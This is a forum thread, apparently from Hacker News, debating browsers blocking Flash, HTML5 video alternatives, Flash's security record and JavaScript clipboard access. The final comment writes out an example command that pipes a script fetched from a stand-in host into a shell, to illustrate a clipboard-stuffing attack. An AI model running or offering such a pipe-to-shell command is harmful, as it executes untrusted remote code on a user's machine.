If you disable Flash completely then Youtube works fine with HTML5 video. However, when Flash is set as click to play then Youtube still prompts to enable Flash. Annoying.
You're right. :)
This is priceless http://i.imgur.com/3uNsIF2.png
Does anyone know why this is showing up on Github as well? I just saw this banner when I logged in. Why would Github be using Flash? (A quick Google search shows they used to use it for the network graph but it is now Canvas.)

And since when you have to please everybody ? Flash developers are a minority, and they have no power to influence the market. The sooner Adobe abandons the dead horse, the better for all of us. Kevin has gone away for years now, and Adobe's force is not based on Flash anymore (disclaimer: I own Adobe stock)
Its not like html5 has all of the features required to replace flash cross platform. These changes force developers, especially those that work in video publishing to implement a variety of implementations for each device whereas flash gave us one platform that technically works on everything but is now disabled intentionally.

Maybe you missed this ? But this whole discussion on the death of Flash was started by Facebook: http://thenextweb.com/facebook/2015/07/13/flash-aah-aah-its-...
Every video on Facebook still relies on Flash though. So I'm not sure why they haven't put their money where their mouth is about it yet? Would make Facebook a lot more accessible in most cases for me not having to rely on Flash whatsoever just to view a video. I usually end up not watching a number of videos after I realize it wont let me watch them without Flash.

Nope. no reasonable alternative to flash has proven viable. Which is crazy.
Canvas, WebGL, Javascript? If it's because you enjoy the Adobe Flash tooling, then Adobe is doing exporting to both Canvas and WebGL now. http://www.adobe.com/inspire/2014/02/flash-html5-canvas.html https://helpx.adobe.com/flash/how-to/flashpro-export-webgl.h...
Bugs are always bad (and security bugs even more so) - but I've always felt that Flash gets a disproportional amount of hate/hype in the media. To some degree it should be normal that the more widespread a technology is - the more it gets targeted for security exploits. If you run the popular browsers/plugins against the National Vulnerability Database, you'd get the following results (as of January 2014): - Internet…

What privacy implications are you thinking of? (I have not thought about this before.) And again, a quick Google search shows this [0]. But perhaps you mean a more backwards-compatible solution? [0] - http://stackoverflow.com/a/30810322/1507139
The parent comment has been deleted, so I don't know what privacy problems they are referring to, however there is a potential security issue in allowing javascript write access to the clipboard. e.g. an evil website could repeatedly stuff code into the clipboard, so the next time you paste something into a terminal window, you end up with a 'curl http://www.example.com/hack.sh | sh' command and not the text you expected...
